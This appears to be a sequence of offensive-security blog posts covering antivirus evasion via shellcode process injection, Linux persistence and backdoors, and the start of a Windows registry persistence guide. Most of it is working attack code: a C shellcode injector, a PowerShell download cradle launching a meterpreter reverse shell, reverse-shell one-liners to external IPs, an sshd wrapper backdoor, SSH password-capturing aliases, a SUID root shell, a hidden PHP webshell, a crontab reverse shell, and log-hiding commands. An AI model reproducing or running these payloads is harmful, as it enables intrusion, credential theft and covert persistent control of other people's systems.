        "\x4b\x86\x2a\xe9\x72\x49\x3f\xe8\xb3\xb4\xb2\xb8\x6c\xb2\x61"
        "\x2d\x19\x8e\xb9\xc6\x51\x1e\xba\x3b\x21\x21\xeb\xed\x3a\x78"
        "\x2b\x0f\xef\xf0\x62\x17\xec\x3d\x3c\xac\xc6\xca\xbf\x64\x17"
        "\x32\x13\x49\x98\xc1\x6d\x8d\x1e\x3a\x18\xe7\x5d\xc7\x1b\x3c"
        "\x1c\x13\xa9\xa7\x86\xd0\x09\x0c\x37\x34\xcf\xc7\x3b\xf1\x9b"
        "\x80\x5f\x04\x4f\xbb\x5b\x8d\x6e\x6c\xea\xd5\x54\xa8\xb7\x8e"
        "\xf5\xe9\x1d\x60\x09\xe9\xfe\xdd\xaf\x61\x12\x09\xc2\x2b\x7a"
        "\xfe\xef\xd3\x7a\x68\x67\xa7\x48\x37\xd3\x2f\xe0\xb0\xfd\xa8"
        "\x71\xd6\xfd\x67\x39\xb7\x03\x88\x39\x91\xc7\xdc\x69\x89\xee"
        "\x5c\xe2\x49\x0e\x89\x9e\x43\x98\xf2\xf6\xfa\xdc\x9b\x04\x03"
        "\xcc\x07\x81\xe5\xbe\xe7\xc1\xb9\x7e\x58\xa1\x69\x17\xb2\x2e"
        "\x55\x07\xbd\xe5\xfe\xa2\x52\x53\x56\x5b\xca\xfe\x2c\xfa\x13"
        "\xd5\x48\x3c\x9f\xdf\xad\xf3\x68\xaa\xbd\xe4\x0e\x54\x3e\xf5"
        "\xba\x54\x54\xf1\x6c\x03\xc0\xfb\x49\x63\x4f\x03\xbc\xf0\x88"
        "\xfb\x41\xc0\xe3\xca\xd7\x6c\x9c\x32\x38\x6c\x5c\x65\x52\x6c"
        "\x34\xd1\x06\x3f\x21\x1e\x93\x2c\xfa\x8b\x1c\x04\xae\x1c\x75"
        "\xaa\x89\x6b\xda\x55\xfc\xef\x1d\xa9\x82\xc7\x85\xc1\x7c\x58"
        "\x36\x11\x17\x58\x66\x79\xec\x77\x89\x49\x0d\x52\xc2\xc1\x84"
        "\x33\xa0\x70\x98\x19\x64\x2c\x99\xae\xbd\xdf\xe0\xdf\x42\x20"
        "\x15\xf6\x26\x21\x15\xf6\x58\x1e\xc3\xcf\x2e\x61\xd7\x6b\x20"
        "\xd4\x7a\xdd\xab\x16\x28\x1d\xfe";


    BOOL injection()
    {
        wchar_t Cappname[MAX_PATH] = { 0 };
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        LPVOID lpMalwareBaseAddr;
        LPVOID lpnewVictimBaseAddr;
        HANDLE hThread;
        DWORD dwExitCode;
        BOOL bRet = FALSE;

        lpMalwareBaseAddr = shellcode;

        GetSystemDirectory(Cappname, MAX_PATH);
        _tcscat(Cappname, L"\\calc.exe");
        printf("Injection program Name:%S\r\n", Cappname);

        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);
        ZeroMemory(&pi, sizeof(pi));

        if (CreateProcess(Cappname, NULL, NULL, NULL,
            FALSE, CREATE_SUSPENDED
            , NULL, NULL, &si, &pi) == 0)
        {
            return bRet;
        }

        lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess
            , NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE,
            PAGE_EXECUTE_READWRITE);

        if (lpnewVictimBaseAddr == NULL)
        {
            return bRet;
        }

        WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr,
            (LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);

        hThread = CreateRemoteThread(pi.hProcess, 0, 0,
            (LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);

        WaitForSingleObject(pi.hThread, INFINITE);
        GetExitCodeProcess(pi.hProcess, &dwExitCode);
        TerminateProcess(pi.hProcess, 0);
        return bRet;
    }

    void help(char* proc)
    {
        printf("%s:[-] start a process and injection shellcode to memory\r\n", proc);
    }

    int main(int argc, char* argv[])
    {
        help(argv[0]);
        injection();
    }

*Figure 19: Process injection code compilation

Figure 20: Process injection execution

Figure 21: Detection results for process injection

I shall conclude the injection examples here. Consider the question: how can one circumvent API hooking detection? Function substitution offers one approach. For instance, among the Win32 APIs, there exist numerous alternatives to VirtualAlloc that can be employed:

Figure 22: Alternative memory allocation functions

0x03 Technique Combinations

We have discussed various techniques, encompassing the separation approach (loaders executing shellcode, whitelist exploitation for malicious execution), as well as shellcode encoding, encryption, and injection. Each technique individually contributes to evasion to some degree; however, employing any single technique in isolation often presents certain limitations.

The key consideration is combining these techniques to achieve optimal results.

Here is a particularly effective example:

Powershell-Payload-Excel-Delivery

https://github.com/enigma0x3/Powershell-Payload-Excel-Delivery/

This technique employs shellcode to invoke Graeber's VBA macro, which executes PowerShell (optionally encoded) in memory to achieve persistent backdoor access.

Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
        objProcess.Create "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.127/Invoke-Shellcode')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.127 -Lport 1111 -Force", Null, objConfig, intProcessID

Figure 23: PowerShell payload delivery via Excel

C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
C:\PS> $Proc = Get-Process notepad
C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose

VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM
VERBOSE: Injecting shellcode into PID: 4004
VERBOSE: Injecting into a Wow64 process.
VERBOSE: Using 32-bit shellcode.
VERBOSE: Shellcode memory reserved at 0x03BE0000
VERBOSE: Emitting 32-bit assembly call stub.
VERBOSE: Thread call stub memory reserved at 0x001B0000
VERBOSE: Shellcode injection complete!

The techniques themselves are static; creativity in their application is paramount. I trust that this article serves as a catalyst for further exploration, encouraging practitioners to combine multiple techniques with ingenuity to achieve their desired outcomes in real-world environments.

Linux Persistence Maintenance

Excalibra — Mon, 22 Jun 2026 08:36:46 +0000

0X00 On Persistence Maintenance

What is Persistence Maintenance?

We can straightforwardly understand persistence maintenance as the installation of a backdoor on the target. The purpose of persistence maintenance is to ensure that one's privileges are not lost and to maintain continuous control over the target.

0X01 Obtaining Initial Access

Linux offers numerous methods for establishing a reverse shell. The primary advantage of a reverse shell is that it often provides a more convenient operational environment; for me personally, the key benefit is command completion. In any case, from a persistence perspective, it facilitates the execution of subsequent actions.

The ability to obtain a reverse shell depends on the target's environment. It is possible that Bash cannot directly establish a reverse shell, whereas Python might succeed. One must also remain mindful of application whitelisting.

For the experimental environment, Kali Linux will be used; ensure that a snapshot is taken.

Bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

bash -i 5<>/dev/tcp/host/port 0>&5 1>&5

Perl

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

URL-Encoded Perl: Linux

echo%20%27use%20Socket%3B%24i%3D%2210.11.0.245%22%3B%24p%3D443%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%27%20%3E%20%2ftmp%2fpew%20%26%26%20%2fusr%2fbin%2fperl%20%2ftmp%2fpew

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat without -e #1

The mkfifo function merely creates a FIFO file; a named pipe must be used to open it.

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f

Netcat without -e #2

nc localhost 443 | /bin/sh | nc localhost 444
telnet localhost 443 | /bin/sh | telnet localhost 444

Java

r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor();

Xterm

xterm -display 10.0.0.1:1

Exec

0<&196;exec 196<>/dev/tcp/<your_vps>/1024; sh <&196 >&196 2>&196

Consider: If during penetration testing one discovers that the target environment cannot establish a reverse shell, and only ports 80 and 443 are open, while traffic is intercepted when attempting a reverse shell via whitelisted ports, how should one respond?

One may attempt to encrypt the data packets to evade traffic monitoring devices.

Step 1:

Generate an SSL certificate public/private key pair on the VPS:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

Step 2:

Listen for the reverse shell on the VPS:

openssl s_server -quiet -key key.pem -cert cert.pem -port 443

Step 3:

Connect:

mkfifo /tmp/excalibra;/bin/bash -i < /tmp/excalibra 2>&1 | openssl s_client -quiet -connect 1.1.1.1:443 > /tmp/excalibra

Obtain shell:

However, one will notice that this shell is not particularly usable, lacking basic command completion.

Solution:

python -c 'import pty; pty.spawn("/bin/bash")'

pty is a pseudo-terminal module.

pty.spawn(argv[, master_read[, stdin_read]])
Spawn a process, and connect its controlling terminal with the current process's standard I/O. This is often used to baffle programs which insist on reading from the controlling terminal.

The functions master_read and stdin_read should be functions which read from a file descriptor. The defaults try to read 1024 bytes each time they are called.

Changed in version 3.4: spawn() now returns the status value from os.waitpid() on the child process.

Sometimes after privilege escalation, the terminal may exhibit similar issues; this method generally resolves them. Alternatively, refer to the link below.

Socat

socat file:`tty`,raw,echo=0 tcp-listen:9999

Upload socat to the target machine, then execute:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:111.111.111.111:9999

This also yields an interactive shell.

0X02 Persistence Techniques

SSH Backdoor

SSH Soft Link

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;

Create a soft link and then access the SSH service via port 5555.

Add a user:

useradd excalibra -p excalibra

When connecting via SSH, any password can be entered; during Kali testing, even the root user worked.

For the specific principle, see An Investigation of PAM Triggered by a Linux Backdoor.

SSH Wrapper

Exploit:

cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart

Then connect:

socat STDIO TCP4:target_ip:22,sourceport=13377

Principle:

init first starts /usr/sbin/sshd; when the script reaches getpeername, the regular expression fails to match, so it proceeds to the next line, launching /usr/bin/sshd — the original sshd. The original sshd listens on the port, and after establishing a TCP connection, it forks a child process to handle specific tasks. This child process, without any further checks, directly executes the system's default /usr/sbin/sshd, returning control to the script. At this point, the child process's standard input and output have been redirected to the socket, so getpeername can genuinely obtain the client's TCP source port. If the port matches 19526, it executes sh to provide a shell.

From https://www.anquanke.com/post/id/155943#h2-9

SSH Key Injection

First, generate an SSH key locally:

ssh-keygen -t rsa

Then transmit the public key id_rsa.pub to the target.

At the same time, assign appropriate permissions, but they must not be overly permissive:

chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh

SSH Keylogger

Append to the end of the current user's configuration file:

alias ssh='strace -o /tmp/sshpwd-`date    '+%d%h%m%s'`.log -e read,write,connect  -s2048 ssh'

OpenSSH Rootkit

This requires environmental dependencies to be installed, making it less practical. For reference, see Leveraging OpenSSH Backdoor to Hijack root Password.

SSH Stealth Login

Stealth login allows logging into the system without being detected by commands such as last, who, or w.

ssh -T username@host /bin/bash -i

ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash -if

Linux Hiding Techniques

Simple File Hiding

touch .excalibra.py

One may conceal malicious files within various directories.

Hidden Permissions

The chattr command can be used to apply a 'lock' to a file to prevent its deletion; we can exploit this.

Concealing Command History

After obtaining a shell, enable 'incognito mode' by disabling the command history recording function.

set +o history

Restore with:

set -o history

history

Once restored, command history is recorded normally.

Deleting Specific Command History

Delete designated historical records:

sed -i "100,$d" .bash_history

This removes command lines from line 100 onwards.

Port Reuse

Sharing SSH and HTTPS on the Same Port via SSLH

A tool for sharing SSH and HTTPS on the same port on Linux: SSLH

Install SSLH
apt install sslh
Configure SSLH
 Edit the SSLH configuration file:
 sudo vi /etc/default/sslh
 1. Locate the line: Run=no  and change it to: Run=yes
 2. Modify the following line to allow SSLH to listen on port 443 on all available interfaces
  DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"
  service sslh start

The environment is Docker; port 444 corresponds to the target's port 443.

Test successful.

iptables

# Port reuse chain
iptables -t nat -N LETMEIN
# Port reuse rule
iptables -t nat  -A LETMEIN -p tcp -j REDIRECT --to-port 22
# Activation trigger
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# Deactivation trigger
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# let's do it
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

Exploit:

TIPS: When testing with Docker

docker run -ti --privileged ubuntu:latest

The --privileged parameter is essential.

# Activate reuse
echo threathuntercoming | socat - tcp:192.168.19.170:80
# SSH login using port 80
ssh -p 80 root@192.168.19.170:
# Deactivate reuse
echo threathunterleaving | socat - tcp:192.168.19.170:80

There also exist ICMP-based exploitation methods. The original article:

Remotely Controlling iptables for Port Reuse

Process Hiding

libprocesshider

A project on GitHub: https://github.com/gianlucaborello/libprocesshider

Utilise LD_PRELOAD to hijack system functions, as follows:

# Download and compile the programme
git clone https://github.com/gianlucaborello/libprocesshider.git
apt-get install  gcc automake autoconf libtool make
cd libprocesshider/ && make
# Move the file to the /usr/local/lib/ directory
cp libprocesshider.so /usr/local/lib/
# Load it into the global dynamic linker
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
# Alternatively: export LD_PRELOAD=/usr/local/lib/libprocesshider.so

The specific process name can be configured within the C file.

A tool to counteract this:

unhide proc

linux-inject

linux-inject is a tool for injecting shared objects into Linux processes.

Project address: https://github.com/gaffe23/linux-inject.git

# Download and compile the programme
git clone https://github.com/gaffe23/linux-inject.git
cd linux-inject && make
# Test process
./sample-target
# Process injection
./inject -n sample-target sample-library.so

First, compile one's own defined C file.

Install the dependency packages:

sudo apt-get purge libc6-dev
sudo apt-get install libc6-dev
sudo apt-get install libc6-dev-i386
sudo apt-get install clang

#include <stdio.h>
__attribute__((constructor))void hello() {    puts("Hello world!");}

Generate the .so file:

gcc -shared -fPIC -o libexcalibra.so hello.c

First, execute the test file.
Then inject the custom .so file.
Injection successful.

Vegile

Vegile is a tool for hiding one's own processes; even if the process is killed, it will restart. It leverages the technique where, before executing a certain executable file under Linux, the system pre-loads user-defined dynamic link libraries, which can rewrite system library functions, leading to hijacking.

First, generate an MSF backdoor:

msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=149.129.72.186  LPORT=8000  -f elf -o /var/www/html/Excalibra_Backdoor2

Set up the MSF listener
Execute
The first method involves process injection; the second ensures that the reverse shell reconnects even if the process is terminated.
Due to dependencies, the second method has a minor bug.
Then test should be successful.

Cymothoa

Cymothoa is a lightweight backdoor that also employs process injection.

Download address: https://sourceforge.net/projects/cymothoa/files/latest/download

Compiled binary: https://github.com/BlackArch/cymothoa-bin

Usage:

./cymothoa -S

View available shellcodes. Only the reverse shell functionality is required; 0 will suffice.

Locate the PID of bash, as the bash process is typically always present.

./cymothoa -p pid -s 1 -y port

It is not very controllable; during my Kali testing, it caused the process to die. It is not recommended for use in live environments.

If successful, nc can directly connect to the custom port, which depends on the environment.

Setuid and Setgid

setuid: When set on an executable file, it allows the file to execute with the permissions of the file's owner. A typical file is /usr/bin/passwd. If an ordinary user executes that file, during execution the file obtains root privileges, thereby enabling the user to change their password.
setgid: This permission is only effective for directories. When set on a directory, any file created within that directory will have the same group ownership as the directory itself.
sticky bit: This bit can be understood as a deletion-prevention bit. Whether a file can be deleted by a user mainly depends on whether the group to which the file belongs has write permission for that user. Without write permission, all files in that directory cannot be deleted, nor can new files be added. If one wishes to allow users to add files but not delete them, the sticky bit can be applied to the directory. Once set, even if a user has write permission on the directory, they cannot delete the file.

As is well known, Linux file permissions are expressed as 777, 666, etc. In fact, by adding the SUID permission to a file, one can run that file with the privileges of its owner. Therefore, one need only copy the bash binary to another location, assign SUID with root ownership, and whenever any user runs this shell, they can execute any file with root privileges.

Write a simple backdoor in backdoor.c:

#include <unistd.h>
void main(int argc, char *argv[])
{
    setuid(0);
    setgid(0);
    if(argc > 1)
        execl("/bin/sh", "sh", "-c", argv[1], NULL);
    else
        execl("/bin/sh", "sh", NULL);
}

Compile:

gcc backdoor.c -o backdoor

cp backdoor /bin/

chmod u+s /bin/backdoor

Execute backdoor as the user.

inetd Backdoor

inetd is a daemon that monitors network requests and invokes the corresponding service process to handle the connection request. It can manage connections for multiple services; when inetd receives a connection, it determines which programme is required, starts the corresponding process, and passes the socket to it (the service socket becomes the programme's standard input, output, and error descriptors).

Installation:

apt-get install openbsd-inetd

Utilise a system-provided service.

Configure the backdoor:

# vi /etc/inetd.conf    
fido  stream tcp nowait  root  /bin/bash bash -i # When an external request for the service named 'fido' arrives, a shell is spawned

inetd

Then connect via nc.

Reference: Brief Analysis and Exploitation of inetd Backdoor

Adding a Backdoor User

Generate password
perl -e 'print crypt("excalibra", "AA"). "\n"'
Directly append to passwd
echo "weblogic1:AAyx65VrBb.fI:0:0:root:/root:/bin/bash" >>/etc/passwd

This is easily detectable; it is more advisable to use an SSH key instead.

ICMP Backdoor

Project address: https://github.com/andreafabrizi/prism

Compilation:

For the Android platform:

apt-get install gcc-arm-linux-gnueabi
arm-linux-gnueabi-gcc -DSTATIC -DDETACH -DNORENAME -static -march=armv5 prism.c -o prism

For Linux 64-bit:

apt-get install libc6-dev-amd64
gcc -DDETACH -m64 -Wall -s -o prism prism.c

For Linux 32-bit:

apt-get install libc6-dev-i386
gcc -DDETACH -m32 -Wall -s -o prism prism.c

On the attack machine, await the backdoor connection:

nc -l -p 9999

Send the packet to trigger the backdoor.

DNS Backdoor

Project address: https://github.com/iagox86/dnscat2

Even in the most restrictive environments, the target will almost certainly permit DNS resolution of external or internal domains. This can serve as a C2 channel. Commands and data are intermingled within DNS query and response headers, making detection extremely difficult because commands are concealed within normal traffic.

We will utilise dnscat2 to implement this.

My macOS installation experienced issues; the environment proved troublesome, so I reverted to Kali. Ultimately, I used the host machine. The server requires a source change; it is recommended to directly specify https://gems.ruby-china.com/ within the Gemfile.

My configuration:

# Gemfile
# By Ron Bowes
#
# See LICENSE.md

source 'https://gems.ruby-china.com/'

gem 'trollop' # Commandline parsing
gem 'salsa20' # Encrypted connections
gem 'sha3'    # Message signing + key derivation
gem 'ecdsa'   # Used for ECDH key exchange

$ gem install bundler
$ bundle install

Start the server:

sudo ruby dnscat2.rb --dns "domain=attck.me,host=192.168.123.192" --no-cache

Then compile the client; simply run make:

./dnscat --dns server=192.168.123.192

On the host machine:

session -i 1

I will capture packets to observe how communication occurs.

All commands are transmitted via DNS traffic.

You may test the PowerShell version of dnscat2.

Start-Dnscat2 -Domain attck.me -DNSServer 192.168.123.192

It is now online.

Then open a new interactive shell.

Conclusion

Using dnscat2 offers several advantages:

Supports multiple sessions
Traffic encryption
Protection against MiTM attacks via keys
Ability to run PowerShell scripts directly from memory

VIM Backdoor

First, construct a malicious script excalibra.py:

from socket import *
import subprocess
import os, threading, sys, time

if __name__ == "__main__":
        server=socket(AF_INET,SOCK_STREAM)
        server.bind(('0.0.0.0',666))
        server.listen(5)
        print 'waiting for connect'
        talk, addr = server.accept()
        print 'connect from',addr
        proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
                stdout=talk, stderr=talk, shell=True)

The prerequisite is that VIM has Python extensions installed; by default, when installed, Python extensions are included.

The script can be placed in Python's extension directory:

$(nohup vim -E -c "py3file excalibra.py"> /dev/null 2>&1 &) && sleep 2 && rm -f excalibra.py

One can observe the vim process in the background, but not the Python process.

Principle reference: https://github.com/jaredestroud/WOTD

PAM Backdoor

PAM (Pluggable Authentication Modules) is an authentication mechanism proposed by Sun. It provides a set of dynamic link libraries and a unified API, separating the service provided by the system from its authentication method. This enables system administrators to flexibly configure different authentication methods for different services without modifying the service programmes, and also facilitates the addition of new authentication mechanisms to the system.

Project address: https://github.com/litsand/shell

This is an automated script. It is more suited to CentOS; my test environment was Ubuntu, so I will not reproduce it for the time being.

Carriage Return Backdoor (`\r`)

echo -e "<?=\`\$_POST[excalibra]\`?>\r<?='Excalibra  ';?>" >/var/www/html/excalibra.php

After adding the -e \r parameter, viewing the source code directly only reveals the latter half.

strace Backdoor

strace is often used to trace the system calls and signals received during a process's execution. In the Linux world, processes cannot directly access hardware devices; when a process needs to access hardware (e.g., reading disk files, receiving network data), it must switch from user mode to kernel mode and access the hardware through system calls. strace can trace the system calls generated by a process, including parameters, return values, and execution time consumed.

ssh='strace   -o   /tmp/sshpwd-`date    '+%d%h%m%s'`.log  \
 -e read,write,connect  -s2048 ssh'

This is similar to the alias backdoor.

When testing with Docker, include the --privileged parameter.

Similarly, one can record other commands:

su='strace   -o   /tmp/sulog-`date    '+%d%h%m%s'`.log  \
 -e read,write,connect  -s2048 su'

Tiny shell

Project address: https://github.com/orangetw/tsh

Compile under Linux:

./compile.sh linux 149.129.72.186 1234 excalibra 22

The parameters represent:

usage:
compile.sh os BC_HOST BC_PORT [PASSWORD] [BC_DELAY]
compile.sh os 8.8.8.8 8081
compile.sh os 8.8.8.8 8081 mypassword 60


Please specify one of these targets:

    compile.sh linux
    compile.sh freebsd
    compile.sh openbsd
    compile.sh netbsd
    compile.sh cygwin
    compile.sh sunos
    compile.sh irix
    compile.sh hpux
    compile.sh osf

Upon success, the files tsh and tshd are generated, representing the client and server respectively.

Run on the target:

umask 077; HOME=/var/tmp ./tshd

On the attack machine:

tsh targetip

A shell will be obtained. Additionally, file upload and download are supported.

Reverse connection form.

Browser Plugin Backdoor

Project address: https://github.com/graniet/chromebackdoor

I spent considerable time testing this project, but have not yet succeeded; it is unclear whether the browser imposes restrictions.

Local Job Scheduling

Crontab

Test environment: macOS

Scheduled reverse shell:

(crontab -l;printf "*/1 * * * * /usr/bin/nc 30.157.170.75 1389 /bin/sh;\rno crontab for `whoami`%100c\n")|crontab -

Other Backdoor

Project address: https://github.com/iamckn/backdoors

Some process hiding techniques, followed by a reverse shell.

Demonstration using uname:

uname.sh

#uname
#-------------------------
touch /usr/local/bin/uname

cat <<EOF >> /usr/local/bin/uname
#!/bin/bash
#nc.traditional -l -v -p 4444 -e /bin/bash 2>/dev/null &
#socat TCP4-Listen:3177,fork EXEC:/bin/bash 2>/dev/null &
socat SCTP-Listen:1177,fork EXEC:/bin/bash 2>/dev/null &
#perl -MIO -e'$s=new IO::Socket::INET(LocalPort=>1337,Listen=>1);while($c=$s->accept()){$_=<$c>;print $c `$_`;}' 2>/dev/null &
/bin/uname \$@
EOF

Replace the reverse shell command as needed.

0x03 Rootkit

What is a Rootkit?

In suspenseful spy films, one faction typically dispatches an agent to infiltrate the opposing camp. The agent's excellent disguise allows them to remain undetected for an extended period; to maintain long-term concealment, they avoid high-risk actions that might prematurely expose them. They earn the enemy's trust and attain a high-ranking position, enabling them to continuously acquire vital intelligence and transmit it through unique channels.

In a sense, this uninvited guest is akin to a Rootkit—a programme that resides persistently and undetectably on a target computer, manipulates the system, and collects data through covert channels. The three essential elements of a Rootkit are: concealment, manipulation, and data collection.

The term "root" originates from the Unix realm. As the Unix system administrator account is called root—which possesses the fewest security restrictions—fully controlling a host and gaining administrator privileges is referred to as having "rooted" the computer. However, "rooting" a host does not guarantee sustained control, because an administrator may detect the intrusion and take remedial action. Hence, the initial meaning of Rootkit is "a set of tools that can maintain root privileges."

Simply put, a Rootkit is a special type of malicious software whose function is to hide itself and designated files, processes, and network connections on the installed target. Rootkits are commonly combined with other malicious programmes such as Trojans and backdoors. By loading special drivers and modifying the system kernel, Rootkits achieve the purpose of concealment.

A typical rootkit includes:

1 An Ethernet sniffer programme, used to capture usernames and passwords transmitted over the network.
2 Trojan horse programmes, such as inetd or login, to provide a backdoor for the attacker.
3 Programmes to hide the attacker's directories and processes, such as ps, netstat, rshd, and ls.
4 It may also include log cleaning tools, such as zap, zap2, or z2, which the attacker uses to delete entries regarding their activities from log files like wtmp, utmp, and lastlog.
Some complex rootkits can also offer services like telnet, shell, and finger to the attacker.

Application-Level Rootkit

Application-level rootkits primarily achieve concealment by bulk replacement of system commands—for instance, replacing ls, ps, and netstat to hide files, processes, and network connections. Sometimes a daemon process is present to ensure the stability of the backdoor. Two commonly used Trojans are mafix and brookit. Application-level rootkits are relatively easy to remove; the most troublesome are kernel-level and hardware-level rootkits.

Kernel-Level Rootkit

These load backdoors via kernel modules, which is comparatively complex. Kernel backdoors are generally operating-system specific, as kernel module programming varies between different operating systems and is not typically universal. Kernel backdoors usually cannot be detected through checks like MD5 verification, making them fundamentally difficult to discover. Currently, kernel backdoors are more prevalent on Linux and Solaris.

Hardware-Level Backdoor

This refers to backdoors embedded in the manufacturer's hardware, such as CPUs, motherboards, mice, etc.

Demonstration: the example I located should be a kernel rootkit; for other classic kernel rootkits, one may examine these:

https://github.com/David-Reguera-Garcia-Dreg/enyelkm

https://github.com/yaoyumeng/adore-ng

Reptile

Test environment: Kali

Project address: https://github.com/f0rb1dd3n/Reptile

Windows Persistence Techniques

Excalibra — Wed, 10 Jun 2026 08:44:21 +0000

0x00 Preface and Scenario

In red team operations, it is currently common practice to use Cobalt Strike (CS) for unified management of acquired shells or phished targets. However, practical experience reveals that CS does not natively integrate a one‑click persistence function. Many third‑party plugins developed by the community are either incomplete or cumbersome to use, and some even contain bugs that give a false impression of success, ultimately resulting in the loss of the shell.

Consequently, this article collates persistence methods within the Windows environment based on the aforementioned scenario. Subsequently, a selection of the more frequently employed and convenient operations will be integrated into a CS plugin to ensure that access is rapidly maintained immediately after a shell is obtained.

0x01 Startup Directory

Required Privileges: With or without elevation.

This is the most common and simplest method of persistence. Programmes or shortcuts placed in this directory execute automatically when a user logs in.

For NT6 and later, the directories are as follows:

Current user:
C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
All users:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

For pre‑NT6 systems:

Current user:
C:\Documents and Settings\Hunter\Start Menu\Programs\Startup
All users:
C:\Documents and Settings\All Users\Start Menu\Programs\Startup

0x02 Registry Keys

Required Privileges: With or without elevation.

The extensive Windows registry and its relatively lax permission management provide numerous opportunities for manipulation. Among these, registry auto‑start entries are a frequently used persistence mechanism.

As the core database of Windows, the registry stores a wealth of critical system and user information. Windows provides two independent registry paths: HKEY_CURRENT_USER (HKCU), which pertains to the current user, and HKEY_LOCAL_MACHINE (HKLM), which corresponds to the physical machine and can be modified only by privileged accounts.

With the increasing awareness of security, most Windows machines compromised during red team engagements operate with reduced privileges. For example, elevating privileges on a phished PC is often unnecessary; even if an Administrator’s startup entry is written after elevation, the user will still log into their own account on the next session, rendering the persistence ineffective.

All relevant registry keys for Windows persistence are enumerated below:

1. Load Key
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load

2. Userinit Key
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
This key normally contains userinit.exe. It permits multiple programmes separated by commas, e.g. userinit.exe,evil.exe.

3. Explorer\Run Key
The Explorer\Run key exists under both HKCU and HKLM.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

4. RunServicesOnce Key
This key starts service programmes before user logon and prior to other programmes launched via registry keys. It exists under both HKCU and HKLM.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

5. RunServices Key
Programmes specified here run immediately after those from RunServicesOnce, but both execute before user logon.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices

6. RunOnce\Setup Key
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup

7. RunOnce Key
Installation programmes typically use the RunOnce key to auto‑start. Its locations are:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
[Pre‑NT6] HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
